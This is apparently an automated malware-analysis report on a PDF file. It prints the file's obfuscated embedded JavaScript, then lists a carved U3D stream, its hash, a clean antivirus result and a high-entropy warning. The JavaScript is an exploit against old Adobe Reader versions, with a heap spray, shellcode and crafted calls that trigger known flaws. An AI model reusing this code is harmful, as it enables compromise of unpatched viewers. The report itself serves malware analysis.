u6464%u6466%u3337%u6635%u3056%u3031%u6630%u3630%u3030%u3630%u3852%u3037%u3630%u3761%u3136%u3230%u3954%u6631%u3737%u3966%u3264%u3330%u306c%u3030%u0063";app.m3H1Wfy = unescape(s_41UrBG(E2XNGt2__q7x, P__V_0));var HN_17bMTW = 0x400000;var c6csX5UK__A_U = cP3aX8_n.length * 2;var vm78wA2_F1 = HN_17bMTW - (c6csX5UK__A_U+0x38);q_EDGI1in_qp1 = GWe7_UgwA84_58(q_EDGI1in_qp1, vm78wA2_F1);var K125F_a = (Sis_hn7s1Gw3hYj - 0x400000)/HN_17bMTW;for (var WiEw3jTN8_eF302 = 0; WiEw3jTN8_eF302 < K125F_a; WiEw3jTN8_eF302++) {ndHI__XQMXO0[WiEw3jTN8_eF302] = q_EDGI1in_qp1 + cP3aX8_n;}}function AV_4__P1_5_2u(){var NHG_60tEn = "";for (wLD_e_x = 0; wLD_e_x < 12; wLD_e_x++) {NHG_60tEn += unescape("%u0c0c%u0c0c");}var I535o8s = "";for (wLD_e_x = 0; wLD_e_x < 750; wLD_e_x++) {I535o8s += NHG_60tEn;}this.collabStore = Collab.collectEmailInfo({subj: "", msg: I535o8s});app.clearTimeOut(j__S_Yb771D62N2);}function YW6XM83_3(v471_0_e){var B0_1D_R8 = j__S_Yb771D62N2;if ((v471_0_e >= 8 && v471_0_e < 8.11) || v471_0_e < 7.1) {g3e2_5(23, "%u0c0c%u0c0c", v471_0_e);app.ey13HJ4i4 = AV_4__P1_5_2u;j__S_Yb771D62N2 = app.setTimeOut("app.ey13HJ4i4()", 1);} if (v471_0_e < 7.12) {function p3_wUt() {try {g3e2_5(22, "%u0c0c%u0c0c", v471_0_e);var mc2MYa1yu6 = -0x7CFCFCFD;this.getAnnots(mc2MYa1yu6, mc2MYa1yu6, mc2MYa1yu6, mc2MYa1yu6);} catch(e) {console.println("annots exception error"); }}p3_wUt();}g3e2_5(13, "%u0c0c%u0c0c", v471_0_e);if (B0_1D_R8) {app.clearTimeOut(B0_1D_R8);}}var W_7w___q = 0;var n__r_1 = app.plugIns;for (var Xr__vnEh_15rIRY = 0; Xr__vnEh_15rIRY < n__r_1.length; Xr__vnEh_15rIRY++) {var x0QweJ3 = n__r_1[Xr__vnEh_15rIRY].version;if (x0QweJ3 > W_7w___q) { W_7w___q = x0QweJ3; }}if (app.viewerVersion == 9.103 && W_7w___q < 9.13) {W_7w___q = 9.13;}if (!(W_7w___q < 9 || W_7w___q >= 9.2) || !(W_7w___q < 8 || W_7w___q >= 8.17) || !(W_7w___q < 7 || W_7w___q >= 7.14)) {YW6XM83_3(W_7w___q);}
|
|||
u3d_00_off00003446.bin |
pdf-3d-stream | PDF U3D 3D stream at offset 0x3446 | 27449 bytes |
SHA-256: 48816569ab4f370009a917ef6429edbe09e4dfe8a63b00a0a0f75a904c62ba94 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact entropy is 7.99, consistent with packed or encrypted content.
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.